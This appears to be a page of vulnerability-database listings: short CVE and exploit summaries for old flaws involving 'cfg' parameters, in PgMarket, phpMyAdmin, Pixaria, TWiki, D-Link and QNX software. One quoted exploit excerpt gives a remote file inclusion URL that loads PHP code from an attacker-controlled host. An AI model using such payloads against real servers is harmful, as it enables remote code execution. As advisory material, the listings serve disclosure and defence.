CVE-2007-5193: Undefined Security Weakness

The default configuration for twiki 4.1.2 on Debian GNU/Linux, and possibly other operating systems, specifies the work area directory cfgRCSWorkAreaDir under the web document root, which might allow remote attackers to obtain sensitive information when .htaccess restrictions are not applied...

CVE-2007-4933: Improper Control of Generation of Code

Direct static code injection vulnerability in includes/admin/sub/confappearence.php in Shop-Script FREE 2.0 and earlier allows remote attackers to inject arbitrary PHP code into cfg/appearence.inc.php via a saveappearence action in admin.php, as demonstrated with the 1 productscount, 2 colscount,...

CVE-2007-2458: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in Pixaria Gallery before 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfgsysbasepath parameter to psg.smarty.lib.php and certain include and library scripts, a different vector than CVE-2007-2457...

CVE-2007-2457: Undefined Security Weakness

PHP remote file inclusion vulnerability in resources/includes/class.Smarty.php in Pixaria Gallery before 1.4.3 allows remote attackers to execute arbitrary PHP code via a URL in the cfgsysbasepath parameter...

PT-2007-2871 · Oscommerce · Php Point Of Sale For Oscommerce

Name of the Vulnerable Software and Affected Versions: PHP Point Of Sale for osCommerce version 1.1 Description: The issue allows remote attackers to include and execute arbitrary local files via a .. dot dot in the cfg language parameter in index.php. However, it's noted that this issue has been...

CVE-2006-5539: Undefined Security Weakness

PHP remote file inclusion vulnerability in login/secure.php in UeberProject Management System 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the cfghomepath parameter...

CVE-2006-5284: Undefined Security Weakness

PHP remote file inclusion vulnerability in auth/phpbb.inc.php in Shen Cheng-Da PHP News Reader aka pnews 2.6.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CFGauthphpbbpath parameter...

CVE-2006-4115: Undefined Security Weakness

PHP remote file inclusion vulnerability in common.inc.php in PgMarket 2.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the CFGlibdir parameter...

PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion

C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...

PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== PgMarket = 2.2.3 CFGlibdir Remote File Inclusion Vulnerability =================================================================== C Y B E R - W A R R i O R T I M PgMarket...

Default configuration

The web server for D-Link Wireless Access-Point DWL-2100ap firmware 2.10na and earlier allows remote attackers to obtain sensitive system information via a request to an arbitrary .cfg file, which returns configuration information including passwords...

CVE-2006-2901: Undefined Security Weakness

The web server for D-Link Wireless Access-Point DWL-2100ap firmware 2.10na and earlier allows remote attackers to obtain sensitive system information via a request to an arbitrary .cfg file, which returns configuration information including passwords...

Remote file inclusion

PHP remote file inclusion vulnerability in resources/includes/popp.config.loader.inc.php in PopSoft Digital PopPhoto Studio 3.5.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter cfg'popphotobasepath' variable. NOTE: Pixaria has notified CVE...

CVE-2004-2632: Undefined Security Weakness

phpMyAdmin 2.5.1 up to 2.5.7 allows remote attackers to modify configuration settings and gain unauthorized access to MySQL servers via modified $cfg'Servers' variables...

CVE-2002-1677: Undefined Security Weakness

14all.cgi 1.1p15 in mrtgconfig allows remote attackers to determine the physical path to the web root directory via a request with an invalid cfg parameter, which generates an error message that reveals the path...

CVE-2005-0567: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in phpMyAdmin 2.6.1 allow remote attackers to execute arbitrary PHP code by modifying the 1 theme parameter to phpmyadmin.css.php or 2 cfgServerextension parameter to databaseinterface.lib.php to reference a URL on a remote web server that contai...

CVE-2005-0543: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in phpMyAdmin 2.6.1 allows remote attackers to inject arbitrary HTML and web script via 1 the strServer, cfgBgcolorOne, or strServerChoice parameters in selectserver.lib.php, 2 the bgcolor or rowno parameters in displaytbllinks.lib.php, the leftfontfamily...

CVE-2004-1681: Undefined Security Weakness

Multiple buffer overflows in 1 phrelay-cfg, 2 phlocale, 3 pkg-installer, or 4 input-cfg in QNX Photon microGUI for QNX RTP 6.1 allow local users to gain privileges via a long -s server command line parameter...

QNX Photon phrelay-cfg - '-s' Overflow

source: https://www.securityfocus.com/bid/11164/info Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finit...

CVE-2002-0232: Undefined Security Weakness

Directory traversal vulnerability in Multi Router Traffic Grapher MRTG allows remote attackers to read portions of arbitrary files via a .. dot dot in the cfg parameter for 1 14all.cgi, 2 14all-1.1.cgi, 3 traffic.cgi, or 4 mrtg.cgi...